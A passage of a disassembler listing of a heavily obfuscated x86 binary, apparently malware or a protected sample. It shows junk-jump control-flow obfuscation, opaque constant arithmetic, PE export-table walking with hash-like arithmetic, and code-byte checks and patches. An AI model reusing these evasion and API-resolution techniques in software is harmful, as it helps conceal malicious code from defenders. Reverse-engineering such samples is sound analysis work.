		push	offset sub_40C783
		jmp	loc_40D190
; END OF FUNCTION CHUNK	FOR sub_40D031
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECE1


loc_4093C8:				; CODE XREF: sub_40ECE1+17j
		push	edx
		push	eax
		jmp	loc_40BE64
; END OF FUNCTION CHUNK	FOR sub_40ECE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB9F


loc_4093CF:				; CODE XREF: sub_40FB9Fj
		mov	eax, [ebp-4]
		call	sub_4102EB
		push	edx
		push	0E71E443Fh
		xchg	ebx, [esp+8+var_8]
		mov	edx, ebx
		pop	ebx
		add	edx, 3661496h
		jmp	loc_40FD27
; END OF FUNCTION CHUNK	FOR sub_40FB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_4093EE:				; CODE XREF: sub_40EABC:loc_409721j
		call	sub_40E848
; END OF FUNCTION CHUNK	FOR sub_40EABC
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_4093F3:				; CODE XREF: sub_40D740+1274j
		push	offset sub_409508
		jmp	loc_40AEA4
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_4093FE:				; CODE XREF: sub_40D740:loc_40D939j
		shr	eax, 0Bh
		xor	[ebp-8], eax


loc_409404:				; CODE XREF: sub_40D740:loc_40FA3Bj
		mov	eax, [ebp-8]
		shl	eax, 0Fh
		call	sub_40CB50
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_40C1A5


loc_40940F:				; CODE XREF: sub_40C1A5+1Aj
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_40C1A5
; ---------------------------------------------------------------------------


loc_409414:				; CODE XREF: o45kw3t9:0040BF82j
		adc	eax, ebx

; =============== S U B	R O U T	I N E =======================================



sub_409416	proc near		; CODE XREF: o45kw3t9:0040A9ECp
					; o45kw3t9:loc_40DC86j

; FUNCTION CHUNK AT 00409CC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B53B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E518 SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		cmp	dword ptr [ebp-14h], 6
		jmp	loc_409CC7
sub_409416	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_409424:				; CODE XREF: o45kw3t9:0040A513j
		jnb	loc_40FE52

; =============== S U B	R O U T	I N E =======================================



sub_40942A	proc near		; CODE XREF: sub_40B14E+1AC2p

; FUNCTION CHUNK AT 004096EA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040BD28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C338 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E5CB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00410256 SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		inc	eax
		jmp	loc_40E5CB
sub_40942A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409434:				; CODE XREF: sub_40D740-37B3j
		popf


loc_409435:				; CODE XREF: sub_40A447:loc_40DF21j
		call	sub_40B425
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40943A	proc near		; CODE XREF: sub_40B0F3-B88p
					; o45kw3t9:0040DC2Bj

; FUNCTION CHUNK AT 0040908B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00409F9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A622 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040A6EB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040AD68 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C03C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C543 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C6E5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C72D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040C83F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DE4E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040ED50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040EDA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F113 SIZE 0000000B BYTES

		mov	[esp+0], eax
		pop	eax
		mov	eax, [ebp-4]
		call	sub_40980B


loc_409446:				; CODE XREF: sub_40EA4Cj
					; DATA XREF: sub_40A551:loc_40EA42o
		jo	loc_40C6E5
		lea	eax, [ebp-125h]
		push	eax
		call	sub_40FC1D
		mov	[ebp-4], eax
		push	offset loc_40D5E9
		jmp	nullsub_7
sub_40943A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[edi], eax
		jmp	loc_40B41F
; ---------------------------------------------------------------------------


loc_40946C:				; CODE XREF: o45kw3t9:0040D4C1j
		or	edi, 6F984D35h

; =============== S U B	R O U T	I N E =======================================



sub_409472	proc near		; CODE XREF: sub_40C641+9p

; FUNCTION CHUNK AT 0040934F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040A2B9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B85F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040BB63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C287 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040C596 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040C973 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		add	esp, 0FFFFFFECh
		cmp	ds:byte_40FA00,	0
		jmp	loc_40C973
sub_409472	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_409485:				; CODE XREF: sub_40C674:loc_40CFC9j
		pop	ebp
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C6F6


loc_409489:				; CODE XREF: sub_40C6F6+3j
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_40C6F6

; =============== S U B	R O U T	I N E =======================================



sub_40948E	proc near		; CODE XREF: sub_40D21F:loc_40CA6Dj
					; o45kw3t9:0040CB67p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040BE45 SIZE 00000005 BYTES

		jnz	sub_40C8A6
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+4+var_4]
		push	offset sub_40CC20
		jmp	loc_40BE45
sub_40948E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_4094A4:				; CODE XREF: sub_40E7B2-4A4Ej
					; sub_40D740:loc_40D987j ...
		push	offset loc_40A098
		jmp	loc_40E08F
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4094AF:				; CODE XREF: o45kw3t9:loc_40E5B0j
		jmp	locret_40E508
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_4094B4:				; CODE XREF: sub_40B1B3-15AFj
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_40B1B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_4094B9:				; CODE XREF: sub_4091CB:loc_40BFB1j
		rol	edx, 11h
		or	edi, eax
		push	edx
		jnb	sub_40AF39
		jmp	loc_40EFB6
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------

locret_4094CA:				; CODE XREF: o45kw3t9:0040CCE8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_4094CB:				; CODE XREF: sub_40E786-3D0Cj
		jmp	loc_410106
; END OF FUNCTION CHUNK	FOR sub_40E786
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409180


loc_4094D0:				; CODE XREF: sub_409180+3j
		jmp	sub_409A91
; END OF FUNCTION CHUNK	FOR sub_409180
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: o45kw3t9:0040E306j
		js	loc_40CB13

; =============== S U B	R O U T	I N E =======================================



sub_4094DB	proc near		; CODE XREF: sub_40C696p
		xchg	esi, [esp+0]
		pop	esi
sub_4094DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4094DF	proc near		; CODE XREF: sub_40943A:loc_40C175j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040A354 SIZE 00000007 BYTES

		push	ebx
		mov	[esp+4+var_4], ebp
		jmp	loc_40A354
sub_4094DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409600


loc_4094E8:				; CODE XREF: sub_409600:loc_40FC7Ej
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_40C34A
; END OF FUNCTION CHUNK	FOR sub_409600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_4094F3:				; CODE XREF: sub_40A259:loc_40BF09j
		mov	eax, [ebp-4]
		call	sub_40E1D1
		test	al, al
		jnz	loc_40D8D0
		jmp	loc_409205
; END OF FUNCTION CHUNK	FOR sub_40A259

; =============== S U B	R O U T	I N E =======================================



sub_409508	proc near		; DATA XREF: sub_40D740:loc_4093F3o
		push	eax
		rol	eax, 0Eh
		mov	ds:dword_40E44C, eax
		retn
sub_409508	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A107


loc_409513:				; CODE XREF: sub_40A107-72Aj
		ror	eax, 0Eh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40A107
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_409518:				; CODE XREF: sub_40F02A+Aj
		jmp	loc_409E11
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40951D:				; CODE XREF: sub_40D740+1E6j
		jmp	loc_40E3FE
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_409522:				; CODE XREF: sub_40A416+4j
		jmp	loc_409C90
; END OF FUNCTION CHUNK	FOR sub_40A416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_409527:				; CODE XREF: sub_40A742+DF3j
		pop	edx
		xor	edx, 7B4DCC33h
		call	sub_40C71C


loc_409533:				; CODE XREF: sub_40909E+3D55j
		jmp	loc_40C2AB
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_409538:				; CODE XREF: sub_40FE86:loc_40DC98j
		sub	ebx, 0B86E1789h
		cmp	eax, ecx
		jmp	loc_40E5E9
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409545:				; CODE XREF: sub_40D740-3BFEj
		xor	[ebp-8], eax
		jmp	loc_40FA3B
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40954D:				; CODE XREF: sub_40F02A:loc_40FAAFj
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_409FC8
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_40D939
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------


loc_40956A:				; CODE XREF: o45kw3t9:loc_40BB12j
		test	ebp, 5E042DA6h
		jmp	loc_40CA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_409575:				; CODE XREF: sub_40E562:loc_40B352j
		cmp	edx, 84F44187h
		jmp	loc_409EF2
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_409580:				; CODE XREF: sub_40AC2F:loc_40D389j
					; sub_40A3A2+3142j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4091D4
		jmp	loc_40A7AF
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------


loc_409591:				; CODE XREF: o45kw3t9:004098D5j
		jnb	loc_40C543

; =============== S U B	R O U T	I N E =======================================



sub_409597	proc near		; CODE XREF: sub_40F039-9FDp

; FUNCTION CHUNK AT 0040E0A9 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_40E0A9
sub_409597	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	ebx, 10h
		add	esi, 0F24E2567h
		jmp	sub_4091CB
; ---------------------------------------------------------------------------


loc_4095B3:				; DATA XREF: o45kw3t9:loc_40E046o
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40D66A
		jmp	loc_40A017
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_4095C7:				; CODE XREF: sub_40D740-1F5Dj
		jno	loc_40969B
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_4095CD:				; CODE XREF: sub_40B88D:loc_40B991j
					; sub_40A742+13BCj ...
		jmp	loc_40C5EC
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B88D


loc_4095D2:				; CODE XREF: o45kw3t9:0040B523j
					; sub_40B88D+3j
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_40DC46
; END OF FUNCTION CHUNK	FOR sub_40B88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_4095DB:				; CODE XREF: sub_40C674-A44j
		jb	loc_40A9C0


loc_4095E1:				; CODE XREF: sub_40FB55:loc_40D4FBj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40C018
		jmp	loc_40A35B
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
		mov	edx, [ebp+0]
		sub	edx, 0C260AA8h
		jmp	sub_40FE86

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_40A259-64Bp
					; o45kw3t9:0040A58Cj

; FUNCTION CHUNK AT 004094E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C34A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DB98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FC7E SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		test	al, al
		jnz	loc_40D8D0
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_40DB98
		mov	eax, [ebp-4]
		jmp	loc_40FC7E
sub_409600	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409621:				; CODE XREF: o45kw3t9:0040B33Aj
		xor	ebp, 0EA19E12Dh

; =============== S U B	R O U T	I N E =======================================



sub_409627	proc near		; CODE XREF: sub_40DCEE+E2Fp

; FUNCTION CHUNK AT 00409F25 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040DA03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FCFE SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		add	eax, 7050AD3Ch
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_409F25
		jmp	loc_40FCFE
sub_409627	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C276


loc_409641:				; CODE XREF: sub_40C276:loc_40A941j
		push	7EC766E5h
		pop	edx
		and	edx, 3AFB372Eh
		add	edx, 809DE27Eh
		add	edx, ebp
		add	edx, 449EF75Ah
		push	offset loc_40FF33


loc_409660:				; CODE XREF: sub_4091CB:loc_40A2DBj
		jmp	loc_40D450
; END OF FUNCTION CHUNK	FOR sub_40C276
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409666:				; CODE XREF: o45kw3t9:0040E32Cj
		jnz	loc_40B2A9
		jmp	loc_40C99E
; ---------------------------------------------------------------------------


loc_409671:				; CODE XREF: o45kw3t9:0040D417j
		shl	edi, 1Fh

; =============== S U B	R O U T	I N E =======================================



sub_409674	proc near		; CODE XREF: sub_40ABFA+AACp

; FUNCTION CHUNK AT 00409C18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ED0B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040FB0F SIZE 0000000A BYTES

		mov	[esp+0], edi
		pop	edi
		test	byte ptr [eax-10h], 38h
		jnz	loc_40ED0B


loc_409682:				; CODE XREF: o45kw3t9:loc_40CAE3j
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_40FB0F
sub_409674	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	edx, 0Eh
		jmp	sub_40B9FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_409693:				; CODE XREF: sub_40A742-7E0j
		mov	al, [eax]
		jns	loc_409391
; END OF FUNCTION CHUNK	FOR sub_40A742
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40969B:				; CODE XREF: sub_40D740:loc_4095C7j
		sub	al, 99h
		push	0F813AD35h
		jmp	loc_40BD38
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_4096A7:				; CODE XREF: sub_40909E:loc_40CFC4j
		call	sub_4101E6
; END OF FUNCTION CHUNK	FOR sub_40909E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096AC	proc near		; CODE XREF: o45kw3t9:0040EA0Ap

var_104		= dword	ptr -104h
var_100		= dword	ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		jmp	loc_40AB4E
sub_4096AC	endp

; ---------------------------------------------------------------------------
		xor	esi, 0E16757FFh
		jmp	loc_40BB8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_4096D5:				; CODE XREF: sub_40DB3D+239Cj
		shl	eax, 17h


loc_4096D8:				; CODE XREF: sub_40DB3D:loc_4101A0j
		push	0
		push	0
		push	0FFFFFFFFh
		push	0
		call	sub_40D542
		jmp	loc_40BE40
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40942A


loc_4096EA:				; CODE XREF: sub_40942A+2F14j
		jno	loc_410256


loc_4096F0:				; CODE XREF: sub_40C433:loc_40C008j
		push	0FDC19B2Ch
		pop	eax
		and	eax, 5BA9D2D6h
		push	offset loc_40A210
		jmp	loc_40BD28
; END OF FUNCTION CHUNK	FOR sub_40942A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_409706:				; CODE XREF: sub_40988C+1j
		mov	ebp, esp
		jnz	loc_40C2EC


loc_40970E:				; CODE XREF: sub_40C298-1302j
		add	esp, 0FFFFFFE4h
		call	sub_40D0CE


loc_409716:				; CODE XREF: o45kw3t9:0040E17Cj
		jmp	loc_40D6F6
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40971B:				; CODE XREF: sub_40A742+1B75j
		jmp	loc_40AE02
; END OF FUNCTION CHUNK	FOR sub_40A742
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_409721:				; CODE XREF: sub_40EABC+162Bj
		jmp	loc_4093EE
; END OF FUNCTION CHUNK	FOR sub_40EABC

; =============== S U B	R O U T	I N E =======================================



sub_409726	proc near		; CODE XREF: sub_40DA15+1551p
					; o45kw3t9:004102CAj

; FUNCTION CHUNK AT 00409EAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A30E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A3E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AADB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040ACFA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040B0BE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040B207 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B378 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040B4E1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B901 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040CA72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CAA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D41C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040DAB0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040DE25 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040E806 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ED96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FF37 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00410064 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	loc_40B378
sub_409726	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	edx, 2
		cmp	edi, 242D5888h
		jmp	loc_40C7A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409742:				; CODE XREF: sub_40D740-3978j
		pop	esi
		and	esi, 3A85B04Dh
		rol	esi, 1Ch
		add	esi, 7DB86BCDh
		jmp	loc_40AC84
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_409757:				; CODE XREF: o45kw3t9:0040B740j
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40975A:				; CODE XREF: sub_40D5BF:loc_40FB29j
		call	nullsub_4
		push	edx
		push	29C2F5AFh
		pop	edx
		jmp	loc_40C1B4
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40976B:				; CODE XREF: sub_40D740:loc_40A5A9j
		xor	edx, edx
		push	edx
		push	eax


loc_40976F:				; CODE XREF: sub_40D740+144j
		mov	eax, [ebp-18h]
		add	eax, eax
		push	offset sub_40E014
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A180


loc_40977F:				; CODE XREF: sub_40A180+27DAj
		jmp	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_40A180
; ---------------------------------------------------------------------------
		mov	ecx, eax
		jmp	sub_40A313
; ---------------------------------------------------------------------------


loc_40978B:				; CODE XREF: o45kw3t9:0040B768j
		ja	locret_40D8A2
		cmp	ebp, 0BA0E47D5h
		jmp	loc_40B184
; ---------------------------------------------------------------------------
		add	edx, ebx
		jmp	sub_40BAE8
; ---------------------------------------------------------------------------


loc_4097A3:				; DATA XREF: sub_40D179+2FD0o
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_40B085
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_40F009
; ---------------------------------------------------------------------------


loc_4097BB:				; DATA XREF: sub_40D740+116o
		xchg	ecx, ebp
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		push	offset sub_40FE92
		jmp	locret_40B2DE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097CD	proc near		; DATA XREF: o45kw3t9:0040DD5Do
		push	ebp
		mov	ebp, esp
		call	sub_40ADDA
		jnp	loc_40AD70
		jmp	sub_40A474
sub_4097CD	endp

; ---------------------------------------------------------------------------


loc_4097E0:				; DATA XREF: sub_409FA8-6C1o
		push	719DC45Eh
		pop	edx
		xor	edx, 6CA832FCh
		push	offset sub_40A5AE
		jmp	locret_40FA35
; ---------------------------------------------------------------------------


loc_4097F6:				; CODE XREF: o45kw3t9:0040EFEBj
		adc	ecx, 0AAF5CACh

; =============== S U B	R O U T	I N E =======================================



sub_4097FC	proc near		; CODE XREF: sub_40C5F3+3773p

; FUNCTION CHUNK AT 0040A28D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AB27 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040DBEC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040DFB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EE3E SIZE 0000000B BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_40DBEC
sub_4097FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40980B	proc near		; CODE XREF: sub_40943A+7p
					; o45kw3t9:0040BCB0j

; FUNCTION CHUNK AT 0040B31D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040D569 SIZE 0000000C BYTES

		mov	[esp+0], eax


loc_40980E:				; CODE XREF: sub_40B5CB:loc_40ACBCj
		pop	eax
		push	eax
		call	sub_409A91
		test	eax, eax
		jz	loc_40D569
		mov	eax, 400h
		jmp	loc_40B31D
sub_40980B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D031


loc_409827:				; CODE XREF: sub_40D031+Dj
		jnz	loc_4093BE
		push	92962798h
		pop	edx
		and	edx, ds:4000BAh
		xor	edx, 74FCB261h
		jmp	loc_40F5ED
; END OF FUNCTION CHUNK	FOR sub_40D031
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_409844:				; CODE XREF: sub_409FA8:loc_40D3BDj
		mov	[ebp-4], eax
		push	0D6A25378h
		pop	eax
		and	eax, 0E2E7F0ECh
		add	eax, 0FF81786Eh
		add	eax, ebp
		add	eax, 3DDC3726h
		jmp	loc_40D68D
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_409866:				; CODE XREF: sub_40CD2E:loc_40E399j
		jz	loc_40FBBF
		jmp	loc_40B4A1
; END OF FUNCTION CHUNK	FOR sub_40CD2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409871:				; CODE XREF: sub_40D740:loc_41011Aj
		call	sub_40FBD0
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_409876:				; CODE XREF: sub_40A742:loc_40C5ECj
		jmp	loc_40E6A5
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------

locret_40987B:				; CODE XREF: o45kw3t9:0040D3FDj
		retn
; ---------------------------------------------------------------------------


loc_40987C:				; DATA XREF: o45kw3t9:0040C7FAo
		call	sub_40988C
		mov	ds:dword_40F1D8, eax

locret_409886:				; CODE XREF: o45kw3t9:loc_40E39Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E027


loc_409887:				; CODE XREF: sub_40E027-35D5j
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_40E027

; =============== S U B	R O U T	I N E =======================================



sub_40988C	proc near		; CODE XREF: o45kw3t9:loc_40987Cp
					; o45kw3t9:004099EDp ...

; FUNCTION CHUNK AT 00409706 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040A21D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A4C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B295 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040B86F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BBAE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040BFE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C2EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040C40E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D66F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D6F6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040DAA5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DDF3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040EB9D SIZE 00000016 BYTES
